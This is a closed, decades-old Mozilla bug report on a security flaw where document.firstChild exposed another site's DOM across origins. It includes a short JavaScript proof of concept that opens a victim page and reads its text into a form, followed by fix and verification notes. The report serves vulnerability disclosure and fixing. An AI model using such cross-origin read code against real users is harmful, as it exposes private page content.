Closed Bug 18965 Opened 25 years ago Closed 25 years ago

document.firstChild vulnerability

Categories

(Core :: Security, defect, P3)

x86
Windows 95
defect

Tracking

()

VERIFIED FIXED

People

(Reporter: joro, Assigned: norrisboyd)

References

()

Details

document.firstChild exposes the DOM of arbitrary document which at least allows
reading documents.
The code is:
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function f(o)
{
 var s='';
 var i;
 s = o.nodeValue;
 if ( o.childNodes )
    for ( i = 0; i < o.childNodes.length; i++ )
       s += f(o.childNodes[i]);
return s;
}
a=window.open("http://www.yahoo.com","victim");
function g()
{
document.forms[0].elements[0].value=f(a.document.firstChild);
}
setTimeout("g()",10000);
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Status: NEW → ASSIGNED
Target Milestone: M14
This is fixed with my Friday night checkin of all.js.
Status: ASSIGNED → RESOLVED
Closed: 25 years ago
Resolution: --- → FIXED
QA Contact: junruh → dshea
Status: RESOLVED → VERIFIED
Windows NT 1999120208 Comm
Verified
...'[Exception... "Security error"'...
Bulk moving all Browser Security bugs to new Security: General component.  The 
previous Security component for Browser will be deleted.
Component: Security → Security: General
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